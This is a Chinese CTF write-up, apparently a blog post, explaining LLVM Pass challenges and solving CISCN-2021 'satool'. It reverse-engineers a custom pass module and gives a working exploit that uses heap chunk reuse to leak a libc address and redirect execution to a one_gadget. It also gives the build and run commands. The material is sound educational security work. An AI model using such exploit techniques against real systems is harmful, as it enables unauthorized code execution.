LLVM PWN
介绍
LLVM 的设计背景
传统的 GCC 编译器将前端和后端紧密耦合,导致以下问题:
- 新编程语言需要设计新的中间表示(IR)并实现相应后端
- 新硬件平台需要实现从自有 IR 到该平台的后端
LLVM 通过统一中间代码解决这些问题:
- 新语言只需实现新前端
- 新平台只需实现新后端
LLVM IR 的三种表示形式
- 可读文本格式(.ll):人类可读的类汇编代码
- 二进制格式(.bc):紧凑的不可读格式
- 内存格式:编译器内部使用的内存表示
LLVM Pass 框架
作为 LLVM 的核心组件,Pass 框架承担了编译器的主要转换和优化工作:
- 通过继承 LLVM 提供的 Pass 类实现特定功能
- 支持对 LLVM IR 进行遍历和修改
- 多个 Pass 组合构成完整的编译器优化管道
主要应用领域:
- 代码插桩, 机器无关的代码优化, 静态分析, 代码混淆
LLVM 工具链
- llvm-as:将文本格式 IR 汇编为二进制格式
- llvm-dis:将二进制 IR 反汇编为文本格式
- opt:对 LLVM IR 进行优化,输出优化后的 IR
- llc:将 LLVM IR 编译为目标平台汇编代码
- lli:直接解释执行 LLVM IR
Clang 前端
作为 LLVM 的官方前端,Clang 支持 C/C++/Objective-C 等语言,完整编译流程包括:
- 词法分析,语法分析,语义分析,生成 LLVM IR
这种模块化设计使 LLVM 成为现代编译器基础设施的重要基石,显著提升了编译器的可扩展性和可维护性。
在ctf中的应用
opt是LLVM的优化器和分析器,可加载指定的模块,对输入的LLVM IR或者LLVM字节码进行优化或分析。CTF题目一般会给出所需版本的opt文件(可用./opt --version查看版本)或者在README文档中告知opt版本。安装好llvm后,可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件
LLVM PASS类题目都会给出一个xxx.so,即自定义的LLVM PASS模块,漏洞点就自然会出现在其中。我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析(其中-xxx是xxx.so中注册的PASS的名称,README文档中一般会给出,也可以通过逆向PASS模块得到)。需要注意的是,若题目给了opt文件,就用题目指定的opt文件启动LLVM并调试(如命令./opt-8 ...),直接使用opt-8 ...命令是用的系统安装的opt,可能会和题目所给的有不同。
在打远程的时候,与内核和QEMU逃逸的题类似:将exp.ll或exp.bc通过base64加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR传给LLVM运行。
下面直接通过例题来研究:
CISCN-2021 satool
一般opt都是不开pie的,如图:

版本是8.0.1

分析:
首先要确定 runOnFunction在哪儿,在IDA中 用 ALT+T搜索vtable,如下图sub_19D0就是runOnFunction函数

点击进去可以看到全是C++写的代码,而且好几百行,看的头大,如果在比赛中可以用AI的话,借助AI分析能事半功倍。但很多时候是不运行使用AI的,这时候可以借助动静分析来分析代码。

这里应该能猜出来,就是要比较函数名以及函数的长短。至于后面的代码,我们先调试看看大概是什么情况
void B4ckDo0r(){
}
然后:
clang-8 -emit-llvm -S exp.c -o exp.ll
gdb ./opt
set args -load ./SAPass.so -SAPass ./exp.ll #SAPass可以对__cxa_atexit用Ctrl+X交叉引用”来定位:
b main
r

在call后会载入SAPass.so(不一定是+624),然后就能根据偏移下断点了。

可以在 Name = (_QWORD *)llvm::Value::getName((llvm::Value *)a2);偏移出下断点一步步调试。
但经过调试可以发现程序会跑飞,造成这样的原因是B4ckDo0r这个函数已经结束了,没有检测到这个函数里面的东西。
我们向下分析代码可以看到,程序会用llvm::Value::getName(v9);来获取函数名。
然后程序中有如下这些函数指令可以用,猜测要调用这些函数。


还有三个函数分别是 stealkey, fakekey,run
先来分析save函数,假设我们还看不懂他要干什么,我们还是调试为主。
void save();
void B4ckDo0r(){
save();
}
然后再次调试。

`
如图可以看到,程序没有跑飞了,而且可以调用save函数,继续执行

在这里比较后,后面就不会执行程序代码了,原因是我们的参数个数为0,这里要要求两个参数。所以就能推测程序代码的含意:

然后程序中有memcpy函数,推测参数是**char ***类型当然也可以通过调试看出。
void save(char* a,char* b);
void B4ckDo0r(){
save("a","b");
}
然后通过调试可以得到如下:

自此可以大概猜到,save函数就是 要传入两个参数,然后还有创建一个0x20大小的chunk,会将一参二参放入这个chunk中
分析完save函数可以发现,下面几个函数有着很多相似的代码,同样对于takeaway可以推断出:

要传入一个参数。

*v44就是参数1,将参数1放入src中(通过save函数类比推出)

然后会判断 heap_addr中是否有chunk的地址。最后会执行

接下来的三个函数也是同样的分析方式。
最后总结如下:
- save,会将一参二参放入heap_ptr中
- takeaway,
heap_ptr = (_QWORD *)heap_ptr[2]; - stealkey,会将save的一参放入
byte_204100 - fakekey,会将
byte_204100和*heap_ptr加上fakekey的一参 - run,会执行
*heap_ptr
利用思路:
由于 bins中0x20大小的chunk有1个,save函数会分配0x20大小的chunk,因此,我们可以分配两次chunk即调用两次save函数,这样就能拿到smallbins中的main_arena+xxx地址。

分配两次后,chunk成功写入main_arena+112的地址

这里要注意,第二次调用save函数时,save函数的第一次参数不能有值,因为save函数后面会调用memcpy把参数1,2的值复制到chunk中。
然后调用stealkey,会将save的一参放入byte_204100 (byte_204100 = *heap_addr;),然后调用
fakekey函数对*heap_ptr进行偏移的加减运算,使 heap_ptr中chunk里面的值为one_gadget

然后调用run()函数执行 *heap_ptr 。
因为本人是ubuntu20.04 所以直接打本地。

EXP:
void save(char *a,char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int d);
void run();
void B4ckDo0r(){
save("a","b");
save("","b");
stealkey();
fakekey(-0x1ecbf0+0xe3afe);
run();
}
clang-8 -emit-llvm -S exp.c -o exp.ll
./opt -load ./SAPass.so -SAPass ./exp.ll

6592

被折叠的 条评论
为什么被折叠?



